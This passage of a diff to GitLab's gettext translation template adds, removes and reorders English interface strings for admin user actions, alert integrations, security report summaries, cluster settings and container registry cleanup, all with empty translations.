-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -250,8 +259,8 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -571,22 +580,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
-msgstr ""
-
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -685,6 +685,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -757,21 +760,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -787,9 +796,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -805,13 +811,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -844,9 +850,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -955,46 +958,13 @@ msgstr[5] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-msgstr[4] ""
-msgstr[5] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -1060,6 +1030,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -1177,6 +1150,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -1195,12 +1171,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1870,9 +1840,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -2224,9 +2191,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2449,6 +2422,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2497,16 +2479,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2533,6 +2518,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2569,6 +2557,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2608,6 +2605,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2617,6 +2623,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2626,6 +2635,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2638,7 +2656,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2854,6 +2878,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2863,9 +2905,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2893,6 +2944,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2905,7 +2962,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2914,27 +2977,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2944,9 +3031,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2956,6 +3040,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2968,6 +3064,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2983,16 +3082,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -3097,6 +3217,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -3214,9 +3337,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -3337,9 +3457,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3373,16 +3490,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3439,6 +3559,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3466,9 +3589,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3499,6 +3619,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3517,6 +3640,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3703,6 +3829,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3781,6 +3913,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3862,6 +3997,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3913,9 +4051,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3970,6 +4105,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -4252,6 +4390,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -4372,6 +4516,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4660,12 +4807,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4690,6 +4843,15 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4741,6 +4903,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4999,9 +5164,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -5029,6 +5191,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -5125,6 +5290,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -5152,6 +5320,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -5185,9 +5359,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5329,6 +5500,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -5347,9 +5521,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5416,6 +5587,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5602,12 +5776,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5641,6 +5809,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5809,7 +5980,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5851,10 +6022,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5902,7 +6073,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5911,9 +6082,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -6004,6 +6172,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -6112,6 +6283,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -6370,9 +6544,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6475,6 +6646,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6808,7 +6982,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -7153,6 +7327,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -7276,9 +7453,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7450,6 +7624,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7474,7 +7651,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7510,6 +7687,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7585,6 +7765,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7594,6 +7783,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7621,7 +7819,16 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7630,6 +7837,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
